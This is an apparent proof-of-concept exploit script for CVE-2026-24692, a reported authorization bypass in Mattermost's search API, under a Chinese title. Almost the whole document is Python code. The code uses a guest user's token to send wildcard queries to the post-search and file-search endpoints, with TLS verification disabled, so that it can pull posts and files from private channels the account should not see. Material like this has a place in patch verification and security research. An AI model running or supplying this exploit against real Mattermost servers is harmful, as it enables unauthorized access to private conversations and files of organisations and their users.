CVE-2026-24692 Mattermost搜索API权限绕过漏洞

import requests import json # CVE-2026-24692 PoC - Mattermost Search API Authorization Bypass # Target: Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 TARGET_URL = "https://your-mattermost-server.com" API_TOKEN = "your-guest-user-token" def exploit_search_api(): """ This PoC demonstrates the authorization bypass in Mattermost search API. A guest user without read permissions can access posts in private channels. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Search for posts in unauthorized channels search_payload = { "terms": "*", # Wildcard search to find all posts "is_or_search": False, "include_deleted_channels": False, "team_id": "target-team-id" } # Exploit: Bypass permission check by searching all channels endpoint = f"{TARGET_URL}/api/v4/posts/search" try: response = requests.post(endpoint, headers=headers, json=search_payload, verify=False) if response.status_code == 200: data = response.json() # Attacker can access posts from channels they shouldn't have access to posts = data.get("posts", {}) print(f"[+] Successfully retrieved {len(posts)} posts via unauthorized access") return posts else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None def exploit_file_search(): """ File search API also vulnerable to authorization bypass """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } file_search_payload = { "terms": "*", "team_id": "target-team-id" } endpoint = f"{TARGET_URL}/api/v4/files/search" try: response = requests.post(endpoint, headers=headers, json=file_search_payload, verify=False) if response.status_code == 200: data = response.json() print(f"[+] File search bypass successful - retrieved {len(data.get('file_infos', []))} files") return data except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2026-24692 Mattermost Search API Authorization Bypass") print("[*] Target: Mattermost <= 11.3.0, <= 11.2.2, <= 10.11.10") exploit_search_api() exploit_file_search()